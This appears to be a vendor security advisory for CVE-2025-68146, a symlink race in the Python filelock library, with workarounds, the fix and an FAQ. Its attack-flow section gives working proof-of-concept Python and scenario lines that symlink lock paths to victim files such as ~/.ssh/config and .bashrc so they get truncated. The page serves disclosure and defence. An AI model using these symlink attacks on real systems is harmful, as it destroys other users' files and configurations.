CVE-2025-68146

Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target

2. Attacker Creates Race Condition:

import os
import threading


def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")


# Launch attack
threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

• Check operation (Path.exists()): ~100-500 nanoseconds
• Symlink creation (os.symlink()): ~1-10 microseconds
• Race window: ~1-5 microseconds (very small but exploitable)
• Thread scheduling quantum: ~1-10 milliseconds

Success factors:

1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts
2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
3. No synchronization: No atomic file creation prevents the race
4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

• Attacker doesn't need write access to victim_file
• os.open() with O_TRUNC follows symlinks using the victim's permissions
• The victim process truncates its own file

Directory permissions help but aren't always feasible:

• Lock files often created in shared /tmp directory (mode 1777)
• Applications may not control lock file location
• Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

• The truncation happens during the open() call, before any lock is acquired
• fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

• Success rate: 33% per attempt (1 in 3 tries)
• Average attempts to success: 2.1
• Target file reduced to 0 bytes in <100ms

virtualenv Attack (weaponized_virtualenv.py):

• Success rate: ~90% on first attempt (deterministic timing)
• Information leaked: File paths, Python version, system configuration
• Data corruption: Complete loss of original file contents

PyTorch Attack (weaponized_pytorch.py):

• Success rate: 25-40% per attempt
• Impact: Application crashes, model loading failures
• Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

• virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
• PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
• poetry/tox users: through using virtualenv or filelock on their own.

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2025-68146 has a CVSS score of 6.3 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.20.1); upgrading removes the vulnerable code path.

Kodem intelligence

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

1. What is CVE-2025-68146? CVE-2025-68146 is a medium-severity race condition vulnerability in filelock (pip), affecting versions < 3.20.1. It is fixed in 3.20.1. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
2. How severe is CVE-2025-68146? CVE-2025-68146 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of filelock are affected by CVE-2025-68146? filelock (pip) versions < 3.20.1 is affected.
4. Is there a fix for CVE-2025-68146? Yes. CVE-2025-68146 is fixed in 3.20.1. Upgrade to this version or later.
5. Is CVE-2025-68146 exploitable, and should I be worried? Whether CVE-2025-68146 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-68146 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-68146? Upgrade filelock to 3.20.1 or later.